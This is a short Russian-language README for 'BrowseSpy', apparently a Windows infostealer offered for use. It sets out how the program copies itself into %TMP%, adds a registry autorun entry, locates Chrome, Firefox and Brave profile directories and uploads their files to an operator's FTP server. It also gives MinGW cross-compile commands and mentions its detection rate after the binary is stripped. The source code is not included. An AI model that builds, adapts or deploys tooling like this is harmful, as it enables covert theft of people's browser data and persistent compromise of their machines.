BrowseSpy

Убедитесь, что вы изменили ftp-переменные по всему коду, эти переменные содержат имя пользователя, пароль и IP-адрес FTP-сервера, который принимает файлы.

Этот код будет выполнять следующие действия:

1. Скопировать себя в каталог %TMP% и назвать себя ursakta.exe
2. Добавить запись в реестр для самозапуска при каждом входе пользователя в систему
3. Определить, какой браузер использует пользователь (Chrome, Firefox или Brave)
4. Поиск файлов в каталогах браузеров Chrome, Firefox или Brave
5. Создать каталог на нашем FTP-сервере, затем отправить файлы из каталога браузера на FTP-сервер

Кросс-компиляция с MingW на Linux

Команда установки с Apt:

• sudo apt-get install mingw-w64

64-битная версия:

• x86_64-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

32-битная версия:

• i686-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

Со стороны жертвы:

Запись в реестре:

Файловая активность:

FTP-подключение:

Уровень обнаружения:

Этот уровень обнаружения после очистки исполняемого файла с помощью strip --strip-all *filename.c*